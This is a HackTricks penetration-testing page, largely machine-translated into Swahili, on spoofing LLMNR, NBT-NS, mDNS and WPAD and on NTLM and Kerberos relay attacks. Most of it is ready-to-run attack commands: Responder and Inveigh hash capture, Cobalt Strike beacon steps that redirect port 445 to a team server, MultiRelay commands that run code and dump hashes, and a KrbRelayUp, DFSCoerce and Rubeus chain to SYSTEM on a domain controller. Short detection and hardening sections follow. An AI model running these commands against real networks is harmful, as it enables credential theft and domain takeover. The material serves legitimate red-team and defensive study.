Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reading time: 11 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Network Protocols
Local Host Resolution Protocols
- LLMNR, NBT-NS, and mDNS:
- Microsoft na mifumo mingine ya uendeshaji hutumia LLMNR na NBT-NS kwa ajili ya kutatua majina ya ndani wakati DNS inashindwa. Vivyo hivyo, mifumo ya Apple na Linux hutumia mDNS.
- Protokali hizi zinaweza kukabiliwa na udukuzi na spoofing kutokana na asili yao isiyo na uthibitisho, ya matangazo kupitia UDP.
- Responder inaweza kutumika kuiga huduma kwa kutuma majibu yaliyotengenezwa kwa wenyeji wanaouliza protokali hizi.
- Taarifa zaidi juu ya kuiga huduma kwa kutumia Responder inaweza kupatikana hapa.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD inaruhusu vivinjari kugundua mipangilio ya proxy kiotomatiki.
- Ugunduzi unarahisishwa kupitia DHCP, DNS, au kurudi kwa LLMNR na NBT-NS ikiwa DNS inashindwa.
- Responder inaweza kuendesha mashambulizi ya WPAD, ikielekeza wateja kwa seva za WPAD zenye uharibifu.
Responder for Protocol Poisoning
- Responder ni chombo kinachotumika kwa kuharibu LLMNR, NBT-NS, na mDNS maswali, kikijibu kwa kuchagua kulingana na aina za maswali, hasa lengo likiwa huduma za SMB.
- Inakuja ikiwa imewekwa awali katika Kali Linux, inayoweza kubadilishwa katika
/etc/responder/Responder.conf
. - Responder inaonyesha hash zilizokamatwa kwenye skrini na kuzihifadhi katika saraka ya
/usr/share/responder/logs
. - Inasaidia IPv4 na IPv6.
- Toleo la Windows la Responder linapatikana hapa.
Running Responder
- Kuendesha Responder kwa mipangilio ya default:
responder -I <Interface>
- Kwa uchunguzi mkali zaidi (ikiwa na athari zinazoweza kutokea):
responder -I <Interface> -P -r -v
- Mbinu za kukamata changamoto/jibu za NTLMv1 kwa urahisi wa kuvunja:
responder -I <Interface> --lm --disable-ess
- Kuiga WPAD kunaweza kuanzishwa kwa:
responder -I <Interface> --wpad
- Maombi ya NetBIOS yanaweza kutatuliwa kwa IP ya mshambuliaji, na proxy ya uthibitishaji inaweza kuanzishwa:
responder.py -I <interface> -Pv
DHCP Poisoning with Responder
- Kuiga majibu ya DHCP kunaweza kuharibu kwa kudumu taarifa za routing za mwathirika, ikitoa njia ya siri zaidi kuliko kuharibu ARP.
- Inahitaji maarifa sahihi ya usanidi wa mtandao wa lengo.
- Kuendesha shambulizi:
./Responder.py -I eth0 -Pdv
- Njia hii inaweza kukamata hash za NTLMv1/2 kwa ufanisi, lakini inahitaji kushughulikia kwa makini ili kuepuka kuvuruga mtandao.
Capturing Credentials with Responder
- Responder itaimarisha huduma kwa kutumia protokali zilizoelezwa hapo juu, ikikamata akidi (kawaida NTLMv2 Changamoto/Jibu) wakati mtumiaji anajaribu kuthibitisha dhidi ya huduma zilizoghushiwa.
- Jaribio linaweza kufanywa kushuka hadi NetNTLMv1 au kuzima ESS kwa urahisi wa kuvunja akidi.
Ni muhimu kutambua kwamba kutumia mbinu hizi inapaswa kufanywa kisheria na kwa maadili, kuhakikisha idhini sahihi na kuepuka kuvuruga au ufikiaji usioidhinishwa.
Inveigh
Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu za red, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya kuiga na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na Inveigh na InveighZero kama matoleo makuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika wiki.
Inveigh inaweza kuendeshwa kupitia PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Au kutekelezwa kama binary ya C#:
Inveigh.exe
NTLM Relay Attack
Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, likitoa shell ya mfumo ikiwa litafanikiwa. Masharti muhimu ni:
- Mtumiaji anayethibitisha lazima awe na ufikiaji wa Local Admin kwenye mwenyeji aliyehamasishwa.
- Saini ya SMB inapaswa kuzuiliwa.
445 Port Forwarding and Tunneling
Katika hali ambapo utambulisho wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuelekezwa na kupitishwa. Zana kama PortBender husaidia katika kuelekeza trafiki ya bandari 445 kwenda kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Zana Nyingine za Shambulio la NTLM Relay
- Metasploit: Imewekwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali.
- smbrelayx: Skripti ya Python kwa ajili ya kuhamasisha vikao vya SMB na kutekeleza amri au kuweka backdoors.
- MultiRelay: Zana kutoka kwenye seti ya Responder ili kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutoa hashes.
Kila zana inaweza kuwekewa mipangilio ili kufanya kazi kupitia SOCKS proxy ikiwa inahitajika, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja.
Uendeshaji wa MultiRelay
MultiRelay inatekelezwa kutoka kwenye /usr/share/responder/tools directory, ikilenga IP au watumiaji maalum.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Hizi zana na mbinu zinaunda seti kamili ya kufanya mashambulizi ya NTLM Relay katika mazingira mbalimbali ya mtandao.
Kulazimisha NTLM Logins
Katika Windows unaweza kuwa na uwezo wa kulazimisha akaunti fulani zenye mamlaka kuthibitisha kwenye mashine zisizo za kawaida. Soma ukurasa ufuatao kujifunza jinsi:
Force NTLM Privileged Authentication
Mashambulizi ya Kerberos Relay
Mashambulizi ya Kerberos relay yanaua AP-REQ ticket kutoka huduma moja na kuirudisha dhidi ya huduma ya pili inayoshiriki funguo sawa za akaunti ya kompyuta (kwa sababu SPNs zote mbili ziko kwenye akaunti ya mashine $
). Hii inafanya kazi ingawa daraja za huduma za SPNs zinatofautiana (mfano CIFS/
→ LDAP/
) kwa sababu funguo inayofungua tiketi ni NT hash ya mashine, si SPN string yenyewe na SPN string si sehemu ya saini.
Tofauti na NTLM relay, hop inakabiliwa na mwenyeji mmoja lakini, ikiwa unalenga protokali inayokuruhusu kuandika kwenye LDAP, unaweza kuunganisha kwenye Resource-Based Constrained Delegation (RBCD) au AD CS enrollment na kupiga NT AUTHORITY\SYSTEM kwa risasi moja.
Kwa maelezo ya kina kuhusu shambulizi hili angalia:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Misingi ya Kerberos
Token | Kusudi | Umuhimu wa Relay |
---|---|---|
TGT / AS-REQ ↔ REP | Inathibitisha mtumiaji kwa KDC | haijaguswa |
Service ticket / TGS-REQ ↔ REP | Imefungwa kwa SPN moja; imefungwa kwa funguo ya mmiliki wa SPN | inaweza kubadilishana ikiwa SPNs zinashiriki akaunti |
AP-REQ | Mteja anatumia TGS kwa huduma | tunachokiba na kurudisha |
- Tiketi zimefungwa kwa funguo iliyotokana na nenosiri la akaunti inayomiliki SPN.
- Authenticator ndani ya AP-REQ ina alama ya muda ya dakika 5; kurudisha ndani ya dirisha hilo ni halali hadi cache ya huduma ionyeshe nakala.
- Windows mara chache huangalia ikiwa SPN string katika tiketi inalingana na huduma unayoipiga, hivyo tiketi ya
CIFS/HOST
kawaida inafunguka vizuri kwenyeLDAP/HOST
.
-
- Nini kinapaswa kuwa kweli ili kuhamasisha Kerberos
- Funguo iliyoshirikiwa: SPNs za chanzo na lengo zinamilikiwa na akaunti moja ya kompyuta (kawaida kwenye seva za Windows).
- Hakuna ulinzi wa channel: SMB/LDAP kusaini mbali na EPA mbali kwa HTTP/LDAPS.
- Unaweza kukamata au kulazimisha uthibitisho: LLMNR/NBNS sumu, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, n.k..
- Chanzo cha tiketi hakijatumika tayari: unashinda mbio kabla ya pakiti halisi kufika au kuzuia kabisa; vinginevyo cache ya kurudisha ya seva inatoa Tukio 4649.
- Unahitaji kwa namna fulani kuwa na uwezo wa kufanya MitM katika mawasiliano labda ukiwa sehemu ya kundi la DNSAmins kubadilisha DNS ya kikoa au kuwa na uwezo wa kubadilisha faili ya HOST ya mwathirika.
Hatua za Kerberos Relay
- 3.1 Fanya utafiti wa mwenyeji
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Anza msikilizaji wa relay
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
inafunga KrbRelay → LDAP → RBCD → Rubeus → SCM bypass katika binary moja.
- 3.3 Lazimisha uthibitisho wa Kerberos
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce inafanya DC itume tiketi ya Kerberos CIFS/DC01
kwetu.
- 3.4 Relay the AP-REQ
KrbRelay inatoa GSS blob kutoka SMB, inaiweka tena katika LDAP bind, na kupeleka kwa ldap://DC01
—uthibitishaji unafanikiwa kwa sababu funguo ile ile inaitafsiri.
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
You now own NT AUTHORITY\SYSTEM.
More paths worth knowing
Vector | Trick | Why it matters |
---|---|---|
AuthIP / IPSec | Server bandia inatuma GSS-ID payload na SPN yoyote; mteja anajenga AP-REQ moja kwa moja kwako | Inafanya kazi hata kati ya subnets; mashine creds kwa default |
DCOM / MSRPC | Resolver mbaya wa OXID inamfanya mteja kuidhinisha kwa SPN na bandari yoyote | Priv-esc ya local safi; inapita firewall |
AD CS Web Enroll | Relay tiketi ya mashine kwa HTTP/CA na pata cheti, kisha PKINIT kutengeneza TGTs | Inapita ulinzi wa LDAP signing |
Shadow Credentials | Andika msDS-KeyCredentialLink , kisha PKINIT na funguo za bandia | Hakuna haja ya kuongeza akaunti ya kompyuta |
Troubleshooting
Error | Meaning | Fix |
---|---|---|
KRB_AP_ERR_MODIFIED | Tiketi funguo ≠ funguo ya lengo | Host/SPN isiyo sahihi |
KRB_AP_ERR_SKEW | Saa > 5 min offset | Sanidi muda au tumia w32tm |
LDAP bind fails | Signing enforced | Tumia njia ya AD CS au zima signing |
Event 4649 spam | Huduma iliona Authenticator ya nakala | zuia au race pakiti ya asili |
Detection
- Kuongezeka kwa Event 4769 kwa
CIFS/
,HTTP/
,LDAP/
kutoka chanzo kimoja ndani ya sekunde. - Event 4649 kwenye huduma inaonyesha replay iligundulika.
- Kerberos logon kutoka 127.0.0.1 (relay kwa SCM ya ndani) ni ya kutia shaka—panga kupitia sheria ya Sigma katika nyaraka za KrbRelayUp.
- Angalia mabadiliko kwenye sifa za
msDS-AllowedToActOnBehalfOfOtherIdentity
aumsDS-KeyCredentialLink
.
Hardening
- Lazimisha LDAP & SMB signing + EPA kwenye kila seva.
- Gawanya SPNs ili HTTP isiwe kwenye akaunti sawa na CIFS/LDAP.
- Patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
- Weka
ms-DS-MachineAccountQuota = 0
kuzuia kujiunga kwa kompyuta za uhalifu. - Onyesha kwenye Event 4649 na logon za Kerberos za loopback zisizotarajiwa.
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.